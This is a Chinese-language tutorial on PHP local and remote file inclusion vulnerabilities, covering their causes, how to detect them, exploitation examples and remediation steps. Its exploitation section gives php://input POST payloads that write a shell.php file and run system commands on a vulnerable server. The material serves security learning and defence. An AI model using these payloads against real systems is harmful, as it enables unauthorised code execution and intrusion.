文件包含漏洞詳解-挖掘利用


參考文章

本片文章僅供學習使用,切勿觸犯法律!


概述


總結


一、漏洞介紹

在通過PHP的函數引入文件時,由於傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,導致意外的文件泄露甚至惡意的代碼注入。


二、漏洞原理

大多數情況下,文件包含函數中包含的代碼文件是固定的,因此也不會出現安全問題。 但是,有些時候,文件包含的代碼文件被寫成了一個變量,且這個變量可以由前端用戶傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發文件包含漏洞。 攻擊着會指定一個“意想不到”的文件讓包含函數去執行,從而造成惡意操作。

PHP常見的導致文件包含的函數如下:include(),include_once(),require(),require_once(),fopen(),readfile()
當使用前4個函數包含一個新的文件時,只要文件內容符合PHP語法規范,那么任何擴展名都可以被PHP解析。包含非PHP語法規范源文件時,將會暴露其源代碼。

函數 包含失敗 特點
Inlcude 返回一條警告 文件繼續向下執行。通常用於動態包含
Require 一個致命的錯 代碼就不會繼續向下執行。通常包含極為重要的文件,整個代碼甭想執行
Include_once 返回一條警告 除了原有include的功能以外,它還會做once檢測,如果文件曾經已經被被包含過,不再包含
Require_once 一個致命的錯 除了原功能以外,會做一次once檢測,防止文件反復被包含

三、漏洞危害

  • 敏感信息泄露
  • 拒絕服務攻擊
  • 執行惡意代碼
  • 配合文件上傳,擴大危害
    一般來說,遠程文件包含漏洞危害更大。

四、利用前提

  1. Web應采用include()等文件包含函數通過動態變量的方式引入需要包含的文件.
  2. 用戶能夠控制該動態變量

五、挖掘利用

1、本地文件包含漏洞

1.描述

僅能夠對服務器本地的文件進行包含,由於服務器上的文件並不是攻擊者所能夠控制的,因此該情況下,攻擊着更多的會包含一些 固定的系統配置文件,從而讀取系統敏感信息。很多時候本地文件包含漏洞會結合一些特殊的文件上傳漏洞,從而形成更大的威力。

2.挖掘

抓包觀察有無明顯的參數用於打開或使用文件,在漏洞挖掘過程中,注意下即可。如果遇到疑似文件包含,可以使用以下的測試方法。(因為不知道對參數有何處理,所以,該方法並不准確)

a.php是fileinclude.php的同一目錄的文件
http://www.aaa.com/fileinclude.php?file=file://a.php
打開目標網站,一般不會被過濾掉
http://www.aaa.com/fileinclude.php?file=http://www.aaa.com

3.利用

利用php偽協議讀取敏感文件,詳情請見[[008.win-敏感文件]]、[[lin-敏感文件]]、[[019.支持的協議和封裝協議]]
常見的如:

file://
http://
php://

等等

2、遠程文件包含漏洞

1.描述

能夠通過url地址對遠程的文件進行包含,這意味着攻擊者可以傳入任意的代碼,比本地文件包含漏洞更加嚴重
利用遠程文件包含漏洞需要使allow_url_include為on

2.挖掘

挖掘過程同上,另外,還需要測試能否包含遠程文件,故:

http://www.aaa.com/fileinclude.php?file=https://www.baidu.com

用樣的,因為不知道對參數的過濾方式,因此該方法不一定成功。

3.利用

  • 讀取敏感文件
    • 詳情請見[[008.win-敏感文件]] [[lin-敏感文件]]
  • 遠程包含shell
    • 插入一句話等,詳情請見
  • 配合文件上傳
    • 詳情請見[[文件上傳漏洞]]

這里舉出幾個常用的例子:
增加代碼
在file.php所在文件下的文件shell.php內增加<?php phpinfo();?>
URL:

http://localhost/include/file.php?file=php://input		怎么用??

POST:

<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>

增加文件
通過fopen參數為w,可新建一個文件,並在新建的文件shell.php中寫入<?php phpinfo();?>
URL:

http://localhost/include/file.php?file=php://input

POST:

<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>") ?>

執行命令
通過php的系統執行函數,將執行命令寫入到文件中,並且執行系統命令
URL:

http://localhost/include/file.php?file=php://input

POST:

<?php system('ipconfig');?>

六、修復防范

  1. PHP:配置php.ini關閉遠程文件包含功能(allow_url_include = Off)
  2. 嚴格檢查變量是否已經初始化。
  3. 建議假定所有輸入都是可疑的,嘗試對所有輸入提交可能可能包含的文件地址,包括服務器本地文件及遠程文件,進行嚴格的檢查,參數中不允許出現../之類的目錄跳轉符。
  4. 嚴格檢查include類的文件包含函數中的參數是否外界可控。
  5. 不要僅僅在客戶端做數據的驗證與過濾,關鍵的過濾步驟在服務端進行。
  6. 在發布應用程序之前測試所有已知的威脅。
  7. 路徑限制:限制被包含的文件只能在某一文件夾內,一定要禁止目錄跳轉字符,如:“../”;
  8. 包含文件驗證:驗證被包含的文件是否是白名單中的一員;
  9. 盡量不要使用動態包含,可以在需要包含的頁面固定寫好,如:include("head.php");,不要把被包含的寫成變量。

七、提出問題

在文件包含漏洞利用還是不太清楚。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM